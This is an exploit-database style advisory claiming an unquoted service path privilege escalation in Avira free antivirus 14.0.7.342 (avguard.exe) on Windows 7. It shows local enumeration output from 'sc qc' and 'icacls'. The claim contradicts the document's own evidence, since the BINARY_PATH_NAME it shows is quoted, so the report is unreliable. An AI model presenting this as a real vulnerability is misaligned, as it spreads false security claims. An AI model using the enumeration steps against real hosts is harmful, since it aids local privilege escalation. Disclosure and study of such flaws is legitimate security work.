Avira 14.0.7.342 - (avguard.exe) Service Trusted Path Privilege Escalation



EKU-ID: 4443 CVE: OSVDB-ID:
Author: s-dz Published: 2014-12-16 Verified: Verified
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# Exploit Title: Avira 14.0.7.342 (avguard.exe)  Service Trusted Path Privilege Escalation
# Date: 11/12/2014
#Author: Hadji Samir s-dz@hotmail.fr
#Product web page: http://www.avira.com/
#Affected version: 14.0.7.342
#Tested on:  Windows 7  (FR)
  
   
   
      
 Avira free antivirus 14.0.7.342
(avguard.exe)
Avira free antivirus 14.0.7.342 contains a flaw in the 'avguard.exe' file that may reportedly allow gaining access to unauthorized privileges.
The issue is due to an unquoted search path, which may allow a local attacker
to inject arbitrary code in the root path.
  
  
C:\Users\samir>sc qc AntiVirService
[SC] QueryServiceConfig réussite(s)
  
SERVICE_NAME: AntiVirService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Avira\AntiVir Desktop\avguard.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Avira Real-Time Protection
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
  
C:\Users\samir>icacls "C:\Program Files\Avira\AntiVir Desktop\avguard.exe"
C:\Program Files\Avira\AntiVir Desktop\avguard.exe AUTORITE NT\Système:(I)(F)
                                                   BUILTIN\Administrateurs:(I)(F)
                                                   BUILTIN\Utilisateurs:(I)(RX)
  
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